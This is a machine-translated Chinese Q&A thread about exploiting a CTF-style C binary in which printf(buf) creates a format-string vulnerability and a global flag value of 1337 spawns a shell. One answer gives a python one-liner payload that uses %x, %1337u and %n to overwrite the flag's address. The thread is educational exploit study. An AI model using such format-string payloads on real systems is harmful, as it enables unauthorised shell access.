如何利用变量的值

信息安全 开发 C x86
2021-08-25 08:26:11

我正在尝试利用我可以访问源代码的二进制文件。

int flag = 0;

int main() {
    char buf[0x50];
    puts("Who are you? ");
    printf("> ");
    fgets(buf, 0x50, stdin);
    printf(buf);

    if (flag == 1337) {
        puts("Enjoy your shell!");
        system("/bin/sh");}
    else {
        puts("Not allowed");
    }
    return 0;
}

正如你从源代码中看到的,如果标志是 1377,我会得到一个 shell。我也可以用 gdb 看到这一点。

 0x4007ec <main+175>       mov    eax, DWORD PTR [rip+0x200892]       # 0x601084 <flag>
 0x4007f2 <main+181>       cmp    eax, 0x539

安全措施设置如下:

Canary                        : Yes
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

所以,首先我不能做经典的缓冲区溢出,因为程序fgets用来收集输入。当然金丝雀也在那里,但不会造成伤害,因为如果我能够更改标志的值(在金丝雀检查之前),我将成功获得该外壳。我不知道我的想法是否正确,所以如果我错了,请纠正我。

我对此的第一个结论是,我无法利用buf来重写标志的值。(我假设buf并且flag将在堆栈上彼此相邻放置)。我想我是对的,因为当我查看$rsp寄存器时发现只有允许数量的“A”被放置在堆栈上。因此,即使将标志放在其正下方,标志的值也不会被覆盖。到目前为止我是对的吗?那将是我的第一个问题

0x7fffffffdaf0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdb00: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdb10: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdb20: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdb30: 0x41414141  0x41414141  0x41414141  0x00414141
0x7fffffffdb40: 0x00400840  0x00000000  0x96703f00  0x948afed7
0x7fffffffdb50: 0xffffdc40  0x00007fff  0x00000000  0x00000000

那么,我如何才能确定该值的范围呢?我认为漏洞利用必须来自恶意用户提供的有效负载,但这buf是将该有效负载放入堆栈的唯一方法。因为我不能通过溢出来覆盖寄存器,buf所以我有点迷失了。

2个回答

您是对的,由于边界检查,缓冲区不能溢出标志。Fgets 还在其绑定检查中包含空字符。
http://www.cplusplus.com/reference/cstdio/fgets/

但是,这里有一个字符串格式漏洞:

printf(buf);

用户控制的变量 buf 在 printf 语句中使用,导致格式字符串漏洞。

https://www.exploit-db.com/docs/28476.pdf

使用组合%x %n可以用“1337”覆盖标志。%x 用于从堆栈中弹出值,%n 用于将字符数写入该地址。“1337u”扩展了字符数,因此您可以写入正确的值。例如,如果 flag 的内存位置是“0xffffff80”

$(python -c 'print "\x80\xff\xff\xff"+"%x%1337u%n"')

由于“1337u”之前的其他内容,这将写入一个大于 1337 的数字,因此您只需将该数字减去您过分的数量,您就会得到正确的数字。或者,如果你想做一些数学运算,“u”的值是:“要写入的字节”-“输出的字节”+“%n 之前指定的 %x 的宽度”

flag不是任何函数的本地函数,并且在范围内是全局的。因此,它不位于运行时堆栈上。要么修补二进制文件,要么利用 input tobuf未清理和buf参数 to的事实printf(操纵格式字符串参数的值,以便1337写入 address 0x601084)。


flag是一个静态分配的变量,其值将存储在进程dataorbss段而不是运行时堆栈中。如果您有权访问二进制文件,您可以简单地对其进行修补,以便将值 1337 存储在 address 中0x601084,该地址应该在.dataor.bss部分中。由于这里全局变量flag被初始化为 0,它很可能在.bss二进制文件的bss部分和进程部分中(如果它被初始化为其他值,情况就不会如此)。

即使不知道编译器如何根据变量在源代码中的位置为变量分配内存,仍然可以flag通过将其地址与堆栈指针的地址进行比较来确定它没有存储在运行时堆栈中%rsp:位置0x601084远低于内存比0x7fffffffdaf0